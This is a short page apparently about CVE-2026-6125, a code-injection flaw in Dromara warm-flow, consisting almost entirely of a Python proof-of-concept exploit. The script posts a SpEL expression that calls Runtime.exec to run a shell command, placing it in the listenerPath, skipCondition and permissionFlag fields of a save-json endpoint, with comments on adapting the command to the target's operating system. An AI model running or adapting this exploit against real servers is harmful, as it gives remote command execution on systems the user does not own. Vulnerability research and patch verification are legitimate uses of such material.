CVE-2026-6125 Dromara warm-flow代码注入漏洞

import requests # Target URL url = "http://target-host:port/warm-flow/save-json" # Malicious payload using SpEL injection to execute command (e.g., 'whoami') # Modify the payload based on the target OS payload = "T(java.lang.Runtime).getRuntime().exec('whoami')" # Data containing the vulnerable parameter # 'listenerPath', 'skipCondition', or 'permissionFlag' can be used data = { "listenerPath": payload, "skipCondition": payload, "permissionFlag": payload } # Send POST request try: response = requests.post(url, json=data) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") except Exception as e: print(f"An error occurred: {e}")